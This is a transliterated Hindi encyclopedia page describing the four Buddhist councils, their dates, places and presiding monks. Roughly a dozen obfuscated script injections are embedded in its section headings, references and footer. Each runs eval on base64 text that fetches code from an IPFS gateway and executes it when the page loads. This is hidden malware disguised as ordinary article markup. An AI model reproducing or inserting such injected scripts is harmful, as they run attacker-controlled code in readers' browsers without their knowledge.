बौद्ध संगीति
[[chitr:Buddhism-Symbol.jpg|220px|thumb|bauddh dharm ka pratik]] bauddh sangiti ka tatpary us 'sangoshthi' ya 'sammelan' ya 'mahasabha' se hai, jo mahatma buddh ke parinirvan ke alp samay ke pashchath se hi unake upadeshoan ko sangrahit karane, unaka path (vachan) karane adi ke uddeshy se sambandhit thi. in sangitiyoan ko pray: 'dhamm sangiti' (dharm sangiti) kaha jata tha. sangiti ka arth hota hai ki 'sath-sath gana'. itihas mean char bauddh sangitiyoan ka ullekh hua hai-
- pratham bauddh sangiti - (483 ee.poo., rajagrih mean)
- dvitiy bauddh sangiti - (vaishali mean)
- tritiy bauddh sangiti - (249 ee.poo., pataliputr mean)
- chaturth bauddh sangiti - (kashmir mean)
pratham sangiti
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
'pratham bauddh sangiti' ka ayojan 483 ee.poo. mean rajagrih (adhunik rajagiri), bihar ki 'saptaparni gufa' mean kiya gaya tha. gautam buddh ke nirvan ke bad hi is sangiti ka ayojan hua tha. isamean bauddh sthaviroan (theroan) ne bhag liya aur buddh ke pramukh shishy 'mahakasyap' (mahakashyap) ne usaki adhyakshata ki. chooanki buddh ne apani shikshaoan ko lipibaddh nahian kiya tha, isilie sangiti mean unake tin shishyoan-'mahapandit mahakashyap', sabase vayovriddh 'upali' tatha sabase priy shishy 'anand' ne unaki shikshaoan ka sangayan kiya.
dvitiy sangiti
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ek shatabdi bad buddhopadisht kuchh vinay-niyamoan ke sambandh mean bhikshuoan mean vivad utpann ho jane par vaishali mean doosari sangiti huee. is sangiti mean vinay-niyamoan ko kathor banaya gaya aur jo buddhopadisht shikshaean alikhit roop mean prachalit thian, unamean sanshodhan kiya gaya.
tritiy sangiti
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bauddh anushrutiyoan ke anusar buddh ke parinirvan ke 236 varsh bad samrat ashok ke sanrakshan mean tritiy sangiti 249 ee.poo. mean pataliputr mean huee thi. isaki adhyakshata prasiddh bauddh granth ‘kathavatthu’ ke rachayita tiss moggaliputr ne ki thi. vishvas kiya jata hai ki is sangiti mean tripitak ko antim roop pradan kiya gaya. yadi ise sahi man liya jae ki ashok ne apana saranath vala stambh lekh is sangiti ke bad utkirn karaya tha, tab yah manana uchit hoga, ki is sangiti ke nirnayoan ko itane adhik bauddh bhikshu-bhikshuniyoan ne svikar nahian kiya ki ashok ko dhamaki deni p di ki sangh mean phoot dalane valoan ko k da dand diya jayega.
chaturth sangiti
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
chaturth aur aantim bauddh sangiti kushan samrat kanishk ke shasanakal (lagabhag 120-144 ee.) mean huee. yah sangiti kashmir ke 'kundal van' mean ayojit ki gee thi. is sangiti ke adhyaksh vasumitr evan upadhyaksh ashvaghosh the. ashvaghosh kanishk ka rajakavi tha. isi sangiti mean bauddh dharm do shakhaoan- hinayan aur mahayan mean vibhajit ho gaya. huenasaang ke matanusar samrat kanishk ki sanrakshata tatha adeshanusar is sangiti mean 500 bauddh vidvanoan ne bhag liya aur tripitak ka pun: sankalan v sanskaran hua. isake samay se bauddh granthoan ke lie sanskrit bhasha ka prayog hua aur mahayan bauddh sanpraday ka bhi pradurbhav hua. is sangiti mean nagarjun bhi shamil hue the. isi sangiti mean tinoan pitakoan par tikayean likhi geean, jinako 'mahavibhasha' nam ki pustak mean sankalit kiya gaya. is pustak ko bauddh dharm ka 'vishvakosh' bhi kaha jata hai.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 302 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>